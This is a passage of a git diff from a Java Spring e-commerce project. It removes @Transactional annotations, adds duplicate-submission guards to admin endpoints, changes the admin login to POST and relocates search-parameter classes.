cache.put(CachePrefix.PERMISSION_LIST.getPrefix(UserEnums.MANAGER) + authUser.getId(), this.permissionList(userMenuVOList)); - return tokenUtil.createToken(username, user, longTerm, UserEnums.MANAGER); + return tokenUtil.createToken(adminUser.getUsername(), authUser, longTerm, UserEnums.MANAGER); } @Override diff --git a/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java b/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java index 8cb4b56e..58c0aa97 100644 --- a/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java @@ -10,6 +10,8 @@ import cn.lili.common.vo.SerializableStream; import cn.lili.modules.verification.SliderImageUtil; import cn.lili.modules.verification.entity.dos.VerificationSource; import cn.lili.modules.verification.entity.dto.VerificationDTO; +import cn.lili.modules.verification.service.VerificationSourceService; +import cn.lili.modules.verification.SliderImageUtil; import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import cn.lili.modules.verification.service.VerificationSourceService; @@ -185,3 +187,4 @@ public class VerificationServiceImpl implements VerificationService { } } + diff --git a/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationSourceServiceImpl.java b/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationSourceServiceImpl.java index 003ae352..3ac96fa2 100644 --- a/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationSourceServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationSourceServiceImpl.java @@ -21,7 +21,6 @@ import java.util.List; * @since 2020/11/17 3:48 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class VerificationSourceServiceImpl extends ServiceImpl implements VerificationSourceService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java index defd9ca7..11c700c5 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java @@ -49,7 +49,6 @@ import java.util.Date; * @since 2020-02-25 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class MemberWalletServiceImpl extends ServiceImpl implements MemberWalletService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java index f092cee3..5c538612 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java @@ -38,7 +38,6 @@ import java.util.Date; * @since 2020-02-25 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class MemberWithdrawApplyServiceImpl extends ServiceImpl implements MemberWithdrawApplyService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java index 0f9b8682..f88c5ba1 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java @@ -33,7 +33,6 @@ import java.util.Date; * @since 2020-02-25 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class RechargeServiceImpl extends ServiceImpl implements RechargeService { /** diff --git a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java index bbafece0..f849e402 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java @@ -22,7 +22,6 @@ import java.util.Date; * @since 2020-02-25 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class WalletLogServiceImpl extends ServiceImpl implements WalletLogService { @Override diff --git a/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java index 44701c19..ba948f5f 100644 --- a/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java @@ -36,7 +36,6 @@ import java.util.Map; */ @Service @Slf4j -@Transactional(rollbackFor = Exception.class) public class WechatMPMessageServiceImpl extends ServiceImpl implements WechatMPMessageService { @Autowired private WechatAccessTokenUtil wechatAccessTokenUtil; diff --git a/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java index c05fb7ad..58b92040 100644 --- a/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java @@ -35,7 +35,6 @@ import java.util.Map; */ @Service @Slf4j -@Transactional(rollbackFor = Exception.class) public class WechatMessageServiceImpl extends ServiceImpl implements WechatMessageService { @Autowired diff --git a/framework/src/main/java/cn/lili/mybatis/BaseEntity.java b/framework/src/main/java/cn/lili/mybatis/BaseEntity.java index 44dbf740..ab73d591 100644 --- a/framework/src/main/java/cn/lili/mybatis/BaseEntity.java +++ b/framework/src/main/java/cn/lili/mybatis/BaseEntity.java @@ -13,6 +13,9 @@ import org.springframework.data.annotation.CreatedBy; import org.springframework.data.annotation.CreatedDate; import org.springframework.data.annotation.LastModifiedBy; import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import org.springframework.format.annotation.DateTimeFormat; import java.io.Serializable; @@ -50,6 +53,7 @@ public abstract class BaseEntity implements Serializable { @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") @TableField(fill = FieldFill.INSERT) @ApiModelProperty(value = "创建时间", hidden = true) + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date createTime; @LastModifiedBy @@ -62,6 +66,7 @@ public abstract class BaseEntity implements Serializable { @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") @TableField(fill = FieldFill.UPDATE) @ApiModelProperty(value = "更新时间", hidden = true) + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date updateTime; @TableField(fill = FieldFill.INSERT) diff --git a/framework/src/main/java/cn/lili/rocketmq/tags/MemberTagsEnum.java b/framework/src/main/java/cn/lili/rocketmq/tags/MemberTagsEnum.java index 0d8c02a2..a179f5a8 100644 --- a/framework/src/main/java/cn/lili/rocketmq/tags/MemberTagsEnum.java +++ b/framework/src/main/java/cn/lili/rocketmq/tags/MemberTagsEnum.java @@ -11,6 +11,10 @@ public enum MemberTagsEnum { * 会员注册 */ MEMBER_REGISTER("会员注册"), + /** + * 会员注册 + */ + MEMBER_LOGIN("会员登录"), /** * 会员签到 */ diff --git a/framework/src/test/java/cn/lili/test/script/ScriptTest.java b/framework/src/test/java/cn/lili/test/script/ScriptTest.java index 9c27cd7e..ca2bfead 100644 --- a/framework/src/test/java/cn/lili/test/script/ScriptTest.java +++ b/framework/src/test/java/cn/lili/test/script/ScriptTest.java @@ -29,7 +29,6 @@ import java.util.List; */ @ExtendWith(SpringExtension.class) @SpringBootTest -@Transactional(rollbackFor = Exception.class) @Rollback() @ContextConfiguration @Configuration diff --git a/manager-api/src/main/java/cn/lili/ManagerApiApplication.java b/manager-api/src/main/java/cn/lili/ManagerApiApplication.java index b8a5b384..838bda79 100644 --- a/manager-api/src/main/java/cn/lili/ManagerApiApplication.java +++ b/manager-api/src/main/java/cn/lili/ManagerApiApplication.java @@ -23,8 +23,7 @@ public class ManagerApiApplication { @Primary @Bean public TaskExecutor primaryTask() { - ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); - return executor; + return new ThreadPoolTaskExecutor(); } public static void main(String[] args) { diff --git a/manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java index ef0fde1c..2c470682 100644 --- a/manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.distribution; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.distribution.entity.dos.DistributionCash; @@ -43,6 +44,7 @@ public class DistributionCashManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "审核") @ApiImplicitParams({ @ApiImplicitParam(name = "id", value = "分销佣金ID", required = true, paramType = "path", dataType = "String"), diff --git a/manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java index 0a98a672..22eed41c 100644 --- a/manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.distribution; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -39,6 +40,7 @@ public class DistributionManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "清退分销商") @PutMapping(value = "/retreat/{id}") @ApiImplicitParams({ @@ -53,6 +55,7 @@ public class DistributionManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "恢复分销商") @PutMapping(value = "/resume/{id}") @ApiImplicitParams({ @@ -67,6 +70,7 @@ public class DistributionManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "审核分销商") @PutMapping(value = "/audit/{id}") @ApiImplicitParams({ diff --git a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java index f015822e..d8660c04 100644 --- a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.goods; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -65,6 +66,7 @@ public class GoodsManagerController { return goodsService.queryByParams(goodsSearchParams); } + @PreventDuplicateSubmissions @ApiOperation(value = "管理员下架商品", notes = "管理员下架商品时使用") @ApiImplicitParams({ @ApiImplicitParam(name = "goodsId", value = "商品ID", required = true, paramType = "query", allowMultiple = true), @@ -79,6 +81,7 @@ public class GoodsManagerController { throw new ServiceException(ResultCode.GOODS_UNDER_ERROR); } + @PreventDuplicateSubmissions @ApiOperation(value = "管理员审核商品", notes = "管理员审核商品") @ApiImplicitParams({ @ApiImplicitParam(name = "goodsIds", value = "商品ID", required = true, paramType = "path", allowMultiple = true, dataType = "int"), @@ -94,6 +97,7 @@ public class GoodsManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "管理员上架商品", notes = "管理员上架商品时使用") @PutMapping(value = "/{goodsId}/up") @ApiImplicitParams({ diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberAddressManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberAddressManagerController.java index d75effd5..4896d99b 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberAddressManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberAddressManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.member; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; @@ -33,6 +34,7 @@ public class MemberAddressManagerController { return ResultUtil.data(memberAddressService.getAddressByMember(page, memberId)); } + @PreventDuplicateSubmissions @ApiOperation(value = "删除会员收件地址") @ApiImplicitParam(name = "id", value = "会员地址ID", dataType = "String", paramType = "path") @DeleteMapping(value = "/delById/{id}") @@ -48,6 +50,7 @@ public class MemberAddressManagerController { return ResultUtil.data(memberAddressService.updateMemberAddress(shippingAddress)); } + @PreventDuplicateSubmissions @ApiOperation(value = "新增会员收件地址") @PostMapping public ResultMessage addShippingAddress(@Valid MemberAddress shippingAddress) { diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberEvaluationManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberEvaluationManagerController.java index e1d3d241..d880de06 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberEvaluationManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberEvaluationManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.member; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; @@ -30,6 +31,7 @@ public class MemberEvaluationManagerController { @Autowired private MemberEvaluationService memberEvaluationService; + @PreventDuplicateSubmissions @ApiOperation(value = "通过id获取评论") @ApiImplicitParam(name = "id", value = "评价ID", required = true, dataType = "String", paramType = "path") @GetMapping(value = "/get/{id}") @@ -45,6 +47,7 @@ public class MemberEvaluationManagerController { return ResultUtil.data(memberEvaluationService.queryPage(evaluationQueryParams)); } + @PreventDuplicateSubmissions @ApiOperation(value = "修改评价状态") @ApiImplicitParams({ @ApiImplicitParam(name = "id", value = "评价ID", required = true, paramType = "path"), diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java index 307306d4..d8a55e90 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java @@ -1,6 +1,7 @@ package cn.lili.controller.member; import cn.lili.common.aop.annotation.DemoSite; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; @@ -56,20 +57,22 @@ public class MemberManagerController { return ResultUtil.data(memberService.addMember(member)); } + @DemoSite + @PreventDuplicateSubmissions @ApiOperation(value = "修改会员基本信息") @PutMapping - @DemoSite public ResultMessage update(@Valid ManagerMemberEditDTO managerMemberEditDTO) { return ResultUtil.data(memberService.updateMember(managerMemberEditDTO)); } + @DemoSite + @PreventDuplicateSubmissions @ApiOperation(value = "修改会员状态,开启关闭会员") @ApiImplicitParams({ @ApiImplicitParam(name = "memberIds", value = "会员ID", required = true, dataType = "String", allowMultiple = true, paramType = "query"), @ApiImplicitParam(name = "disabled", required = true, dataType = "boolean", paramType = "query") }) @PutMapping("/updateMemberStatus") - @DemoSite public ResultMessage updateMemberStatus(@RequestParam List memberIds, @RequestParam Boolean disabled) { memberService.updateMemberStatus(memberIds, disabled); return ResultUtil.success(); diff --git a/manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java b/manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java index 4f8d8427..0c1e1391 100644 --- a/manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java @@ -23,7 +23,6 @@ import org.springframework.web.bind.annotation.RestController; * @since 2020/12/6 16:09 */ @RestController -@Transactional(rollbackFor = Exception.class) @Api(tags = "管理端,会员消息消息管理接口") @RequestMapping("/manager/message/member") public class MemberMessageManagerController { diff --git a/manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java index 42a16ecd..bcf6999c 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; @@ -74,6 +75,7 @@ public class AfterSaleManagerController { return ResultUtil.data(afterSaleService.refund(afterSaleSn, remark)); } + @PreventDuplicateSubmissions @ApiOperation(value = "审核售后申请") @ApiImplicitParams({ @ApiImplicitParam(name = "afterSaleSn", value = "售后sn", required = true, paramType = "path"), diff --git a/manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java index a2a64ecc..c95a7be5 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; @@ -79,6 +80,7 @@ public class OrderComplaintManagerController { return ResultUtil.data(communicationVO); } + @PreventDuplicateSubmissions @ApiOperation(value = "修改状态") @PutMapping(value = "/status") public ResultMessage updateStatus(OrderComplaintOperationParams orderComplainVO) { @@ -87,6 +89,7 @@ public class OrderComplaintManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "仲裁") @ApiImplicitParams({ @ApiImplicitParam(name = "id", value = "投诉单ID", required = true, paramType = "path"), diff --git a/manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java index b16de35a..214fda21 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java @@ -24,7 +24,6 @@ import org.springframework.web.bind.annotation.RestController; * @since 2020/11/17 4:34 下午 */ @RestController -@Transactional(rollbackFor = Exception.class) @Api(tags = "管理端,订单日志管理接口") @RequestMapping("/manager/orderLog") public class OrderLogManagerController { diff --git a/manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java index 2f7dedfc..4c6b0c4b 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.member.entity.dto.MemberAddressDTO; @@ -68,6 +69,7 @@ public class OrderManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "确认收款") @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, dataType = "String", paramType = "path") @PostMapping(value = "/{orderSn}/pay") @@ -76,6 +78,7 @@ public class OrderManagerController { return ResultUtil.success(); } + @PreventDuplicateSubmissions @ApiOperation(value = "修改收货人信息") @ApiImplicitParam(name = "orderSn", value = "订单sn", required = true, dataType = "String", paramType = "path") @PostMapping(value = "/update/{orderSn}/consignee") @@ -84,6 +87,7 @@ public class OrderManagerController { return ResultUtil.data(orderService.updateConsignee(orderSn, memberAddressDTO)); } + @PreventDuplicateSubmissions @ApiOperation(value = "修改订单价格") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单sn", required = true, dataType = "String", paramType = "path"), @@ -96,6 +100,7 @@ public class OrderManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "取消订单") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, dataType = "String", paramType = "path"), diff --git a/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java index 4483ad72..6e49b39f 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java @@ -27,7 +27,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "管理端,收款日志接口") @RequestMapping("/manager/paymentLog") -@Transactional(rollbackFor = Exception.class) public class PaymentLogManagerController { @Autowired diff --git a/manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java index 86c4ab16..48d7c4f9 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java @@ -26,7 +26,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "管理端,退款日志接口") @RequestMapping("/manager/refundLog") -@Transactional(rollbackFor = Exception.class) public class RefundLogManagerController { @Autowired private RefundLogService refundLogService; diff --git a/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java b/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java index 33d038d7..a1ff86b3 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java @@ -27,7 +27,6 @@ import java.util.List; @RestController @Api(tags = "管理端,验证码资源维护接口") @RequestMapping("/manager/verificationSource") -@Transactional(rollbackFor = Exception.class) public class VerificationSourceController { @Autowired diff --git a/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java b/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java index ce61b470..03bafe02 100644 --- a/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java @@ -46,7 +46,6 @@ import java.util.List; @RestController @Api(tags = "管理员") @RequestMapping("/manager/user") -@Transactional(rollbackFor = Exception.class) @Validated public class AdminUserManagerController { @Autowired @@ -62,7 +61,7 @@ public class AdminUserManagerController { @Autowired private VerificationService verificationService; - @GetMapping(value = "/login") + @PostMapping(value = "/login") @ApiOperation(value = "登录管理员") public ResultMessage login(@NotNull(message = "用户名不能为空") @RequestParam String username, @NotNull(message = "密码不能为空") @RequestParam String password, diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java index 7bf896ac..b78c98c0 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java @@ -9,7 +9,7 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; @@ -24,6 +24,7 @@ import org.springframework.web.bind.annotation.*; import java.util.Arrays; import java.util.List; +import java.util.Objects; /** * 管理端,优惠券接口 @@ -91,7 +92,8 @@ public class CouponManagerController { @ApiOperation(value = "会员优惠券作废") @PutMapping(value = "/member/cancellation/{id}") public ResultMessage cancellation(@PathVariable String id) { - memberCouponService.cancellation(id); + AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); + memberCouponService.cancellation(currentUser.getId(), id); return ResultUtil.success(ResultCode.COUPON_CANCELLATION_SUCCESS); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java index ef9d7c2e..0647cf36 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java @@ -6,7 +6,7 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java index 5dc789b2..12e28cdb 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java @@ -9,7 +9,7 @@ import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java index 63b0452d..7210d33c 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java @@ -8,9 +8,9 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PintuanSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java index ac71016e..d4442ab0 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java @@ -7,7 +7,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.PointsGoodsService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java index ce31ee2c..bdb19b9c 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java @@ -4,8 +4,8 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java index 2fac508b..7eb9452d 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java @@ -5,7 +5,7 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; +import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillVO; import 